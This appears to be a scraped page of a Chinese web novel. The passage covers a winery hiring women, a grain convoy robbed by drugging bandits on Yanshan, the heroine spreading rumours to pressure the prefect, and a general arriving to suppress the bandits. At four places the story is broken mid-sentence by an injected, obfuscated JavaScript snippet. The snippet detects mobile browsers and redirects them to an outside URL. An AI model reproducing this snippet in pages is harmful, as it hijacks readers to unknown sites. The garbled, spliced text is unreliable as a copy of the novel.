男耕女织,男主外女主内,千百年来大家都是这么过来的,没想到除了丝织刺绣之外还有人会招女工。 这可真是一个稀罕事,尤其是在乡下,太稀罕了! 经过这么久的相处,傅知乔看到了刘家村村民身上勤劳质朴的品质。她招聘女工的这个信息就是为了要告诉大家,女子不止能在家里洗衣做饭,也能在外挣钱养家。 大家以前是怎么样她不管,既然她来了,改变就由她开始!从她的酒庄开始! 酒庄里的男工人也集体傻眼了,怎么也想不明白,东家怎么会招女工进酒庄。 不过,这不是他们该操心的事,得赶紧回家把这个消息告诉自家婆娘。 招聘女工?还发五十文月钱?这可比在家种田浇水强多了,还跟家里男人待遇一样,村里的妇人们激动不已,聚集到酒庄门口询问:“这是真的吗?” 刘永昌:“白纸黑字写着的,还能有假?” “真的啊,我要赶紧回家把消息告诉老婆子,说不定我家荷花能被聘上呢!” “刘记事,我家婆娘四十一了,还能来应招吗?”一个在酒庄里拌曲的工人问。 “你家婆娘可有力气?” “有的,劈柴挑水样样都行。” “那行,你回头叫她过来登记。” “好,好,东家大善人啊!”工人本来没抱希望,就是过来问问而已,没想到真的能成,他可太高兴了,嘴里一直道谢。 酒庄里雇佣女工对村民们来说,这绝对是天上掉馅饼的好事。 以刚才的工人为例子,一个家庭要是有两个人在酒庄干活,那么他家一个月的收入最低就有两百文入账,再加上耕地分的粮食和年底的赏钱,相信过不了多久刘家村的村民们就能脱贫致富了。 大家的喜悦之星溢于言表。 刘永昌:“好了好了,家里有适龄的妇人赶紧过来登记,错过了可别怪我没提醒啊!” 有年前发赏钱的例子在先,村民们对新东家很有好感。 短短几天,来应招的就有五十多人。 简单的考核之后,除开三四个不太讲究卫生的人之外,基本上主动来应招的人都留下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127517|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 袁金花也在这五十人名单之中,她主动找到文江说自己手脚勤快,更想进酒庄里做事,而不是在厨房里做饭。 文江见她有上进心,也将人收了进来,这些细节傅知乔是不管的,任由他做主。 定好了女工人选,傅知乔制定好工作流程,写成册子让女工们提前学习,两个月等青梅成熟便可后正式上工。 青梅酒的生产流程还是跟太白酒一样,所有的工人都明确分工,互不干扰。 搓洗青梅、去蒂、泡盐水、加糖、倒酒,每一个步骤都由不同的人去操作。 前期摘青梅、洗青梅都不是什么有技术含量的事情,傅知乔只需要在酿酒时出来掌控比例就好了,所以她提前在家写好酿酒手册,让银杏背好了再去教给工人们。 银杏每天都跟在她身边,一开始她在家里捣鼓酿青梅酒的时候,也是银杏和崔嬷嬷在打下手,崔嬷嬷在培训酒铺里的女侍,酒庄里给女工培训是事情只好交给银杏负责了。 这天,傅知乔正在抽查银杏关于酿制青梅酒的要点。 门房:“姑娘,门口有一个小娘子说自己叫陈小月,上门来找恩人,您看要不要见她一面?” 陈小月是?傅知乔脑中有一瞬间是空白的。 “姑娘,就是那个在街上卖醪糟的,你不记得啦,我们还买过她的醪糟呢。”银杏提醒她。 傅知乔记起来了,好像是有这么回事,当初自己就是因为帮陈小月赶走调戏她的人才结识了谢卓。 说到谢卓,两人上次见面还是在元宵灯会上。 也不知道他最近怎么样了…… 门口传来敲门的声音,一下子将傅知乔的思绪给唤回来了。 陈小月一进门就给傅知乔跪下了,嘴里不停地说着感谢的话。 傅知乔连忙摆手让她起身:“举手之劳罢了,怎可担你如此大礼。” “对您来说是举手之劳,对我而言却是救命之恩,今日前来希望恩人能留我在府上……” 据陈小月所说,她的父亲前不久染病去世了,为了给父亲治病花光了家里的全部钱财,还欠下了不少的药钱。现在家中只剩下她一女子,族人嫌弃她是女儿身,是个赔钱货,没有人愿意伸出援手,她已经走投无路了。 为今之计,她只能将自己卖身为奴才能避□□离之苦。 想到曾经帮助过自己的傅知乔,陈小月决定来碰碰运气,根据上次她在街上留下的傅宅信息找了过来,求她收留自己。 “求恩人收留,我什么活都能干,愿意做牛做马来报答您!”陈小月跪在地上磕头,双眼含泪,头磕的咚咚响。 银杏看了看傅知乔的脸色,上前把陈小月扶到一边。 陈小月脸颊消瘦,面色苍白,衣服上也有不少补丁,看起来确实可怜兮兮的,既然帮了那就帮到底吧! 正好,陈小月不是会做醪糟嘛,想必是有些酿酒的底子在身上的,以后自己研制新酒的杂事就可以让她来做了。 “家里多养一个人倒也不是问题,这样吧,你往后就跟着银杏做事。” 陈小月喜极而泣:“谢姑娘大恩!” 傅知乔最终把她留了下来,还给了她一笔钱,助她还掉了欠下的药钱。 银杏笑嘻嘻道:“以后就唤你小月好了。” 44. 粮食被劫 酒铺里的女侍,酒庄里女工都到位了,但青梅还要等两个月才能成熟,傅知乔要趁着这段时间,多酿些太白酒,届时等青梅一熟,就可以赶紧生产起来。 她把提高太白酒产量的需求下达给高老头,便安排德福去采买粮食了。 之前酒铺还未完全搬到乡下的酒庄时,买粮食是非常方便的,可现在酒庄离城里有四五十里地远,城里的的粮价比外面更贵,路途远运输费用高,这时候从城里大量买粮就很不划算了。 而酒庄到云中县只有三十里地,从酒庄出发绕过燕山便可达到云中县,还是去隔壁的云中县买粮食更为划算。 采购一事是交由德福的,他先去云中县找好粮食铺子谈好价钱,酒庄再派车队去运回来。 本次计划是采买两万斤粮食,需要数十辆运粮车来回跑几趟才能装下。 文山率领的运粮队伍总共有二十人,他们抄小路绕过燕山,抵达云中县时已经天黑。在客栈修整了一晚后,一行人一大早上就去粮铺里买粮付钱,装车回酒庄。 出发之前傅知乔特地叮嘱了,运送粮食不需要一次送完,宁可多跑两趟避免出意外。运粮车的目标太明显了,麻袋里装的可都是白花花的大米,要是被人注意到了,容易招惹麻烦。 为了不引起别人的注意,运粮队伍伪装成商队,文江还在运粮车的最上层装了一层野菜干货。 即便是这样,运粮车还是被人识破了。 燕山半山腰位置,一伙人盯着山下的运粮小队。 “王奇,都打探清楚了?是运粮车没错?” 名叫王奇的是人一个胡子拉碴的大汉,他粗着嗓子回了一句:“没错,老子盯了他们很久了,这支商队大概有二十人,他们从云中县买粮运到青州去买,这已经是他们运的第五回了。” 六辆运粮车,一人驾车,两人跟车护卫,盯梢的探子早就摸清运粮队伍的规律了。 “区区二十人怕什么,咱们可有上百号人,更何况……”另一个清瘦之人看着下的车队,面露出一抹狞笑,脸上带着几许兴奋之色,运粮车好啊!有了粮食我们才能吃饱。 “二哥,他们停下了!”一名负责盯哨的山匪喊道。 那个被称为二哥的年轻的男人叫程业玄,他默默盯着下方的人,身后的大刀在阳光的照射下,反出渗人寒芒。 算算时辰,药效也差不多该发作了。 “动手。” 随着程业玄一声令下,原本寂静无声的的树林里传出了窸窸窣窣的动静。 山匪们长期混迹在山中,对这里的地形十分熟悉,路边都是树木乱石,能遮蔽视线,给他们行了很多便利。 王奇打了个进攻的手势,一群身穿杂衣的莽汉从密林中提着刀杀了出来,直接将运粮队伍围了起来。 文山迅速反应过来,拔出佩刀大喊:“有埋伏!” 护卫们闻言飞快拔出长刀围在了马车旁。 山匪们蒙着脸,看不清长相,但能感受到他们火热的眸光正望着那一车车的粮食。 看着这群凶神恶煞的山匪,文山的脸色变得无比的难看。 他们运着粮食已经翻过陡峭的燕山,只要过了这片树林就能进入青州的官道了,因为前几次都平安无事,他们就放松了警惕,找了一个宽敞点的空地歇歇脚,顺便给马儿喂点水。 没想到还是被山匪给盯上了。 文山抱拳:“各位英雄好汉,我们商队只是从此路过,各位若是想要买路费,好说、好说……” 王奇是个急性子:“好说个屁,谁跟你在这要买路费了?粮食留下,人都给我滚!” 两方人马拔刀相向,氛围一下就紧张了起来。 文山把目光投向了为首的年轻男人,程业玄淡淡的瞥了一眼文山,没有说话。 没有说话就等于默认。 王奇在一旁不耐烦地道:“磨蹭什么呢?只要你们把粮食交出来,就可以活命!” 文山哪能同意,握紧了长刀,做出应战的姿势。 不知道是谁先动的手,刀光剑影,两方人马混战在一起。 树林里的小道比外面的管要窄得多,护卫们既要护着粮食,还要警惕山匪的偷袭,根本施展不开。 但很快,他们就落了下风。 双拳难敌四首,对方的人数太多了,而他们这些人根本不是这群山匪的对手。 护卫惊慌失措地看着文江,“老大,我们该怎么办?” 还未等文山回答,有人惊呼出声:“阿寿!” “陈寿!”文山一个转身闪过对方的攻击,回首看到一个山匪举着大刀朝护卫陈寿砍去,千钧一发之际,文山纵身而起一个扫堂腿把那山匪踢翻在地,他自己则被另一贼人从背后偷袭。 背上的剧痛传来,文山整个身躯摇摇欲坠,像是被抽走了力气一般,腿脚一软跪到了地上,发现自己突然使不出力气了,他抬头看向其他的护卫,大家的情况都一样。 文山明白自己是中药了,想到之前在茶棚里喝的凉茶,他瞳孔骤缩,冰冷的看向王奇,“你们居然下药。” 好卑劣的手段,这群山匪已经摸清他们的路线,知道今天要路过此地,在此做了埋伏要打劫一场! 因为中了软筋散身上使不出力气,文江手中的刀一下子就被王奇挑落,王奇将刀搁在文山的脖子上,“谁敢动一下,我就要了他的命!”说着,他将自己的刀刃向下压了一下。 文山的脖子上很快出现了一道血痕。 护卫们神色大变,文山可不能出事,酒庄里谁都知道,文江文山两兄弟是东家的心腹。 所有人的动作都停了下来,王奇呲笑道:“嘿嘿,下药怎么了,这叫兵不厌诈,怎么样?还打吗?” 程业玄缓步而来:“各位若是不想受苦的话,还是束手就擒的好。” 山匪们一开始就发过话了,留下粮食,人可以不杀。 护卫们此刻也是强弩之末,他们全都中了软筋散,已经没有了战斗力,再怎么反抗也如同案板上的鱼肉,任由他人宰割。 粮车能保护下就一定要保护下来,但现在他们中了敌人的阴招,无谓的抵抗只会白白牺牲性命,还会让酒庄人财两空。 当初组建护卫队的时候傅知乔便发过话,要护卫们尽全力保护酒庄的财产,他们有伤亡,酒庄会对他们的家庭会负责到底,若真的到了危及生命的时刻,还是希望他们保命要紧。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13144937|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >正是因为这句话,才让这群护卫对傅知乔死心塌地。 眼睁睁看着粮食被劫走,文山的眼神阴沉的可怕,今日是他载了! 他不甘心,但也没办法。 山匪们驾车运粮车离去,王奇带着几个小弟善后,看着自己的兄弟们驾车走远之后,王奇才解开了绳子将他们放了。 所有护卫惊愕的看着王奇,竟然真的不杀人? 护卫们长长的松了口气,内心涌现出一股劫后余生的喜悦,随后又开始担心,自己弄丢了粮食,回去要怎么跟东家交代。 文山神色严肃,沉声道:“留的青山在,不怕没柴烧,粮食给他们,咋们先回去禀报东家。” * 刀口不深,文山简单的包扎止血后,马不停蹄的去回禀傅知乔:“姑娘,我们在燕山遇到埋伏,两千斤粮食全部被劫,都是属下办事不力,请姑娘责罚。” 文山单膝跪地认错,他作为运粮队伍的队长,难逃其责。 粮食被劫的消息第一时间就已经传到了她这里,傅知乔知道他受了伤,连忙让人把他扶到凳子上坐下。 “山匪?燕山上也有山匪?”她的注意力全被文山口中的山匪给吸引住了。 燕山归属青州的地界,而青州城的治安一向很好,城内城外都很少出事,怎么就遇到山匪了呢? “今日我们刚走出燕山就被一群埋伏在树林中的山匪包围了,他们大约有……有七八十人,手里有大刀、斧头和弓箭,他们在凉茶里下了药,把我们的两千斤粮食全劫走了。”文山一口气将事情大致说了清楚。 “我方可还有其他伤亡?” 文山脸上闪过一丝羞愧:“我们有三人受伤,一人身中箭矢和两人被刀剑砍伤但没有伤到要害部位,并未性命之忧。”文江顿了顿,“不过,属下认为,这群山匪并没有要我们命的意思。” 听到没有人死亡,傅知乔听完之后心情稍微平定下来,她给自己斟了杯茶,问道:“何以见得?” “山匪们人手众多,我们的护卫根本不是对手,他们事先在茶棚里安插了人手,在我们喝的凉茶里下了药,让我们没有还击之力。”说到这里,文江看了看傅知乔的脸色,见她面色日常后又继续说:“以他们的武力完全可以把咱们灭口,可他们得手之后并没有赶尽杀绝。 “嗯,你也受伤了,这几日就先歇着吧!你回去跟文江说一声,让他派人去安抚伤者和他们的家人,请大夫给他们好好治伤。” 文山交代事情的原委,傅知乔便让他回去休息了。 文山走后,傅知乔独自一人坐在书桌前,面色阴沉。 好在粮食是分批运输的,这次的损失不算太大,但粮食被劫还是很让人恼火,两千斤粮食,不是小数目。 这群山匪的意图是什么?他们是随机抢劫?还是冲着自己来的?若是冲着自己来的那就麻烦了。 如果这条运粮之路被山匪掌握了,对傅知乔来说是极大的损失。 抢了第一次就会有第二次,很难保证这群山匪还会做出什么事来,这条买粮之路看来是要暂停了。 傅知乔眼底闪过一丝寒光,我的东西是那么好抢的吗?抢了东西自然是要付出代价。 45. 煽风点火 “报官吧,官府会调查清楚的。” 报官是德福亲自去的,官府那边的消息来的很快,抢走他们粮食的是黑虎寨的人。 燕山上有个黑虎寨,近几年,黑虎寨极少出来生事,官府们也没把他们当回事,但不止为何,这几月官府频繁接到人来报官,说自己的商队被抢了。 可如今,来报案的人越来越多,官府再坐视不理下去也不行。 据官府得到的消息,傅知乔并不是唯一的受害人。 黑虎寨现在的大当家叫程业玄,原来是个江湖人士,父母双亡,家园被毁,他从小就过着流民的生活。后来他被师傅捡了回去,学到功夫后一直在江湖上打打杀杀,有次他被仇人追杀,被砍数刀,在他奄奄一息以为自己快要死的时候,黑虎寨的大当家金飞虎发现了他,并且把他带回了黑虎寨救治。 金飞虎的江湖称号是虎哥,黑虎寨也是他一手建立起来的。 黑虎寨里的人大多都经历过被债主逼债、仇家追杀、官府追捕通缉的日子,一群流离失所的人在金飞虎的聚集下,占领了燕山成立了黑虎寨,渐渐地也发展成了一股不小的势力。 程业玄被治好后就这么留在了黑虎寨,因为他武艺高强,又受到大当家金飞虎的器重,很快就成为了黑虎寨的二当家。 后来金飞虎在一次地盘争抢中箭去世,程业玄就接下了大当家的位置。 程业玄虽然已经是黑虎寨的大当家了,但他为了表示对前大当家金飞虎的尊重,让寨子里的人称呼自己为“二哥”,并表示虎哥永远是大当家。 寨子里的山匪们原本就是金飞虎的手下,见程业玄如此有情有义,哪里还有不同意的,就连一直是刺头的王奇都对他服气了。 一开始,王奇是很不服气程业玄当寨主的,因为在程业玄来黑虎寨之前,他才是虎哥身边的得力干将,程业玄只是被招揽过来的帮手而已,一个加入不久的人哪有资格成为新寨主。 但程业玄是大当家虎哥亲自指定的,寨子里所有人的武力又都比不过他,王奇只能憋着这口气,直到有一次寨子里出去抢占山头,程业玄在关键时刻救了他一命,并且带领黑虎寨大获全胜。 经此一役,程业玄才真正在寨子里立起威望,成为了黑虎寨里货真价实的新寨主。 王奇心服口服,心甘情愿给他做小弟。 为了增强黑虎寨的势力,程业玄专门对寨子里的山匪进行训练,教他们一些拳脚功夫、骑马射箭,学习为盗为匪的基本技能。 程业玄出身江湖,哪怕现在投身做了土匪,但他骨子里还存在着几分侠义之气。山匪们干的是上刀山下火海的事,过的是把脑袋别在裤腰带上生活,要不是走投无路了谁会选择做山匪呢! 于是他立下规矩,黑虎寨不抢老弱病残。 自此以后,黑虎寨每次出动,只为抢财,不为杀人。 程业玄成为黑虎寨的新寨主后,一改往日烧杀抢夺的作风,反而收留了很多的流民扩大了寨子里的人手,使得黑虎寨的越发的强大。 人一多,原本那些粮食就不够吃了。 黑虎寨这才把主意打到路过的商队身上。 不得不说,这个计划真的很巧妙。商队的流动性高,不会在一个地方久留,哪怕他们的货品被抢了也只能选择就地报官,然后队伍继续行商,官府接到消息派几个人装模作样打探一番,等风头过去这个案件也就不了了之了。 商队只能吃下这个暗亏。 此时的黑虎寨上上下下一片欢腾,抢来的粮车就停在寨子里,几个精壮汉子正围在在粮车前。 “还愣着干什么?赶紧搬啊。”王奇吩咐道。 “哦哦,大伙赶紧动手。”汉子们反应过来,纷纷跑上前将车上粮食搬进仓库之中。 王奇看着一袋袋粮食,眼中满是喜悦,这些粮食够他们吃好一阵子。 黑虎寨两三百号人要吃要喝,没有粮食可不行。 他们以往抢的大多是是货物,除开直接能用的东西之外,剩余的财物还要运到其他地方转手卖出去,再用卖货得来的钱去买米面粮食,费时又费力。 这回好了,抢的是大花花的大米,看这成色看这质量,都是上好的精米啊! 有人拍马屁:“都是二哥领导有方。” “那还用你说。” “自从二哥来到咱们黑虎寨,大伙的日子是一天比一天好了。” 程业玄坐在虎皮座椅上,嘴角微微上扬,摆出安静的手势,谦虚了几句,“都是大伙的功劳!” 这块虎皮是金飞虎在世的时候带人打猎得到的,老虎象征力量、威严,是黑虎寨的标志,也也象征着权利和着地位。 寨子里当晚就举行了庆功会。 桌上都摆满喷香流油的烤肉、还有馍馍和饭团。 王奇对着猛吞口水的山匪们大声说道,“二哥吩咐了,让大伙敞开了吃!” “敬二哥!” “敬粮食和肉!”山匪们纷纷起哄,气氛更加热烈。 天色愈发的暗了,黑虎寨里到处洋溢着欢声笑语。 篝火庆功会一直持续到深夜才结束。 * 德福将从官府那边得来的消息告诉傅知乔。 只劫财不劫色,也从不杀人放火,这就有点意思了。这群山匪似乎也不是什么大恶不赦之人,若是能为自己所用……突然,傅知乔心里冒出个大胆的想法。 她让德福出面,联系了城里的部分商户联合起来给官府施压,隔三差五的去卖惨,如果再不能解决,货运不进来,日子没法过了。 德福隐隐觉得哪里不妥,但是一时间又不太能说得上来。 “这……” “去办吧!” 李文康被这群商户吵得头疼,干脆交由师爷处理了。 官府没有把商户们放在眼里,那全城的百姓呢? 傅知乔可不是个轻易放弃的人。 有句话怎么说来着,团结一切可以团结的力量。 水军这套她可是玩的炉火纯青,于是,这天夜晚,一个消息在青州城的街头巷尾慢慢传开。 燕山有匪徒出没,杀人不眨眼,以后大家进出城不要路过此地了。 一开始还有人不信,因为黑虎寨的山匪们打劫的都是往来的商队,确实没有对百姓们下过手。 见效果不太明显,傅知乔干脆派人蒙面装作山匪,埋伏在山脚处,见有百姓路过就拿着刀出来吓唬他们。 如此反复几次,结果就是越来越多的百姓现身说法,并且加油添醋描述一番。 很快,燕山的山匪杀人如麻的流言也传到了城里,现在走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150348|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到大街上,几乎人人都在议论黑虎寨和燕山。 “哎,你听说了没,燕山哪里有山匪出没。” “听说了,他们杀人不眨眼的,老人孩子都不放过。” “天哪!太残暴了,他们简直不是人。” “是啊,我有个远房亲戚亲眼所见,山匪们个个身高八尺,他们嗜血成性,见人就杀,幸亏我那亲戚跑得快才保住性命。” “好可怕,以后我们还是不要走这条路了。” 与此同时,各种各样版本的山匪故事在城内四处蔓延,还有传言说黑虎寨中有个藏宝库,山匪们抢来的财宝堆成了金山银山…… 最后传到傅知乔耳朵里,她有些哭笑不得,她明明只说了燕山有山匪出没,剩下的那些都是百姓们脑补出来的。 流言的威力是巨大的。 但黑虎寨上上下下都沉浸在有粮食的喜悦之中,过了一阵太平日子,等他们反应过来时,燕山这条路已经没有商队敢走了。 于是程业玄派人下山打探消息,探子们悄悄潜入城中,这才搞清事情的原委,立马将此事汇报上去。 王奇很生气,“是谁在捣鬼,污蔑我们黑虎寨。” 程业玄没有说话,他也没想明白,黑虎寨一向低调行事,怎么会被外界传的如此不堪,还是说,有人借着黑虎寨的名义去杀人放火了? “查,给我查清楚了!” 到底是谁在接着黑虎寨的名头搞事情?连老人孩子都不放过,听听这是人话吗?都是爹生妈养的,他们虽然是匪,但也是有底线的。 不止黑虎寨的山匪很气愤,城里的百姓们更加义愤填膺。 因为燕山这条路算的上是青州城和云中县的交通要道。青州城与云中县都属于青州辖内,青州城是省城,云中县是县城,一城一县之间隔着一座燕山,没有别的大路相通,只有翻过燕山才有宽敞的官道。 若是不想走这条蜿蜒曲折的山路也行,绕过燕山多走二十里路,多花半天时间也能到达,但这对百姓们来说极为不方便。不止如此,百姓们还担心,万一走了这条山路山匪朝着自己下手怎么办? 来往的商户们也是知道这片地方土匪横行,为了安全起见都选择绕远路。 明明有近道却不能走,偏偏只能去绕远路,百姓们的日常生活已经被严重影响,个个怨声载道。 “山匪一日不灭,这日子没法过了。” “可不是嘛,为了送货多走了二十里路,我脚底板都磨出水泡了。” “官府为何不出兵剿匪,咱老百姓们的生命就那么不重要?” “什么青天大老爷、父母官,说的好听,都是骗人的!” “这群当官的读书读到狗肚子里了,当上官就高人一等了?就能不管咱老百姓的死活了。” 另一人扯了扯他的袖子,“嘘,你快别说了,辱骂朝廷命官可是要掉脑袋的!” 有人冷笑:“怕什么?当官的不就是要为民请命吗?” “就是,有什么不能说的,官府该给我们一个交代!” 这些言论愈演愈烈,在民间还引起了不少文人志士的愤怒,他们自动聚集在官府门口,要一个交代。 舆论是多么可怕,经历过信息大爆炸时代的傅知乔深有体会,她不信,这种情形下,官府还能无动于衷。 46. 借兵剿匪 “大人,大人,大事不好了!” “什么事着急忙慌的?别吓着我的宝贝!”李文康嫌弃师爷没有眼力见,没看见他正在给他了的宝贝鹦鹉喂食吗,瞎嚷嚷什么。 师爷袭俊才着急忙慌的跑过来,喘着粗气:“外头都在传官府不管百姓们的死活,不愿意出兵剿匪。” “什么叫不愿意剿匪?”李文康一听眉头皱了起来,“怎么回事,你给我好好说说。” “还不是那个黑虎寨……” 青州城的现任知府叫李文康,是从京城下放来的,他来青州上任两年多,政绩平平,也不知何年何月才能调回京城。 一开始他接到商队来报官时,觉得剿匪是个体现他能力的好机会。他立马召集了府衙里官兵,伪装成百姓欲从山间小道攻入黑虎寨,结果不知怎么被识破了,官兵们走到半道上遭到滚石的袭击,一下子折损了好几个人。 黑虎寨是块硬骨头,不好啃呐! 根据几次交手,这群山匪不少于数百来人,又占据了有利地形,不清楚他们的底细,也不知道他们具体有多少人马,官府一时间拿他们也没办法,攻了几次没有攻下来,官府也不想再伤到自己人,剿匪一事就这么僵持下来了。 再加上根据报案人的证词,这群山匪的目的好像只求财并未伤及性命,官府见事情没有闹大也只好睁只眼闭只眼。 “大人,现在外面流言四起,于咱们很不利啊!” “他们想骂,那就让他们骂几天吧!” 龚俊才:“可外头都说您是个残暴不仁的储君,再让谣言这样传播下去,对您的的声誉极为不利啊!” “不过是些市井流言,过去了就没事,咱们要沉住气。”李文康一副不以为然的样子。 龚俊才劝他:“大人,此事恐怕不能再拖了,外头闹的沸沸扬扬,若是大人不作出反应,怕是难以平民愤啊!” 龚俊才捡着外面的情形说了,“那些个文人最会写文章了,万一消息传到京城去……” 李文康听到这里才反应过来,指着龚俊才的鼻子要他查清源头。 龚俊才苦笑,查?怎么查?如今全城百姓都在说这件事。 李文康怒拍桌子:“那就把他们抓起来关进大牢,杀鸡儆猴,我就不信不能捂住他们的嘴。” 抓几个人进大牢又如何?这种程度的流言根本不是杀几个人就能解决的。 悠悠之口如何能堵住? 龚俊才知道刚才李文康是怒火上头,口不择言了,献计道:“大人,您先别急!咱们可以趁此机会召集人马一举灭了黑虎寨,黑虎寨抢了那么多商队,肯定积下了不少的财宝。” “剿匪剿匪,你说的倒是轻巧,就靠咱们这群人,你觉得能打的过?” 不是李文康不想剿匪,而是燕山山林茂密,易守难攻,先前的几次剿匪都无功而返了。就凭府衙里那些兵,还想一举歼灭山匪,别说其他人了就连他自己都不相信。 “大人,若是您能把这群山匪给灭了,把他们的财宝给缴了,拿政绩也就不用愁了,调回京城指日可待啊!” 李文康心动了,捋了捋胡子:“这事让我好好想想。” 龚俊才明白李文康的意思,附到他耳边:“大人,可曾听闻罗振海将军回京的消息?” “罗将军回京跟咱们剿匪有什么关系?” “这可是天赐良机啊!” 李文康一头雾水。 “罗将军在江北剿匪有功,圣上发话要重重奖赏他,他此行回京是去领赏的。大人,您想想看,罗将军回京是要路过咱们青州的,我们可以跟罗将军借兵,将那群贼人给一网打尽,岂不妙哉?” “若罗将军不肯借兵呢?” 龚俊才胸有成竹,据悉,这位罗将军嫉恶如仇,跟他借兵剿匪应该不是难事。 “咱们以剿匪的名头找罗将军借兵,您说他会不借吗?他才在江北那边打了胜战,士气正高,再说了,要是能把黑虎寨那群山匪给剿了,罗将军岂不是功上加功?” 对啊!李文康眼前一亮,要是有罗将军相助的话,他们的胜算就大大提高了。 “好好好,我这就给罗将军写信。” 趁着去给罗振海送信的时候,李文康找来城里的商户们,德福代表太白酒铺出席了这个会议。 李文康:“不瞒各位,罗大将军不日便可达到青州,助青州剿匪。” 商户们一听要剿匪了,纷纷道:“好事!这是好事啊!” “不过,出兵剿匪,兵马、粮草、武器都是要花钱的。” 在场的商户都是聪明人,听出来些许言外之意,明白李文康把他们叫过来是打什么算盘。 果不其然,李文康发话了:“龚师爷,你给大家算算,这次大概需要多少兵费?” “骁骑军精兵五百人,府衙官兵五百人,还需要造些刀剑、弓箭做武器,所需兵费三万两左右。” 商户们面面相觑,一时间无人搭话。 龚俊才:“罗振海将军的名号大家都听说过吧,他亲自出马剿灭贼人,咱们兵强马壮,预计三天内就能拿下黑虎寨,这等好事你们不会不愿意出点兵费吧?” 瞧这话说的,商户们都不知道应该要怎么去接了,只能陪个笑脸。 李文康能让骁骑军贴上本钱去剿匪吗?肯定得是府衙来掏钱啊! 现在的问题就是,这笔剿匪的兵费从哪里出?府衙里可没这么多银子,就是有......也不能往外拿啊!可是山匪又不能不剿......所以李文康就只好“勉为其难”的向商户收费了! 有个蓄胡子的掌柜试探道:“知府大人,这剿匪的费用总不能全部都由我们来出吧!” “当然了,官府出一半,你们出一半,各位意下如何?” 李文康笑里藏刀,继续说道:“去年的税收已经上缴国库了,现在府衙里没有这么多的银子,不然我也不会舔着这张老脸朝大家开口了,骁骑军虽然是过来帮忙剿匪的,咱们青州城总得有点表示才好吧,不能寒了罗将军和将士们的心呐!” 说来说去都是一句话:剿匪要花钱,府衙里资金不足。 不得不说,李文康这一招真是太狠了!这群商户不出钱的话,就是对官府不满、对罗将军不满,逼着商户们不出钱都不行。 堂堂一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13166082|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个知府竟然找商户哭穷,话都说到这个份上了,再装糊涂也不行了。商户们今天不出钱,相信明天就会有官兵进铺子里“查探”一番了,为了不被穿小鞋,这兵费必须得出。 “蓬莱居出一千五百两。” “清风楼出一千五百两。” 有了带头的,其他人也很快反应过来,德福来之前傅知乔就给他打过预防针了,这次知府有请城里是商户们吃饭,必定是一场鸿门宴。 “太白酒铺出一千两。” “蒋家粮铺出八百两。” “盛记布庄出八百两。” …… 李文康满意的摸了摸胡子:“本官多谢各位老板慷慨解囊,青州百姓定会永记各位老板的恩德。” 集资大会宣告结束,李文康满面春光的下了台,坐上轿子扬长而去。 城外百里处,正有一队车马往青州这边赶来。 正是罗振海带领的骁骑军。 罗振海接到李文康的信,二话不说就同意了,他本就要路过青州,既然青州知府求到他面前了,他顺便去剿个匪也不是不可以。 不过,他还要问下谢卓的意见。谢卓贵为端亲王府的世子,此次剿灭江匪功不可没。 罗振海把消息跟谢卓说了下。 谢卓对此没什么意见。 说到青州,他脑海中浮现出一个身影。 在元宵灯会一别后,两人就再也没有见过面了。 掐指一算,已经四个多月过去,谢卓每天带兵剿匪累的不行,那点小心思本来都快散了,现在马上就到青州,他心里头的那点念想又跑了出来。 骁骑军的行军速度很快,将士们训练有素,队伍很快就到了青州城外。 罗振海骑马走在最前头,他长着一张上窄下宽的梨形脸,双眼炯炯有神,身披兽面铠甲,气势刚健。 他身边还有一个年轻的男子,他偏着头细心地听着身旁人说着话,时不时点点头。 年轻的男子正是谢卓。 城门口,李文康亲自带人迎接。 看到罗振海的兵马出现后,李文康心里才终于踏实了一点。 “燕山一带盗匪林立,百姓过往十分不便,”李文康的脸上露出了一些无奈的样子,他看着罗振海继续说:“我本有心剿匪,奈何兵力不足,听闻罗将军手下的将士们骁勇异常,这才求到了您面前,想借您手下的五百精兵剿匪,顺便让这些山匪们见见骁骑军的威风。” 李文康句句不离百姓,任谁听了都会动容的。 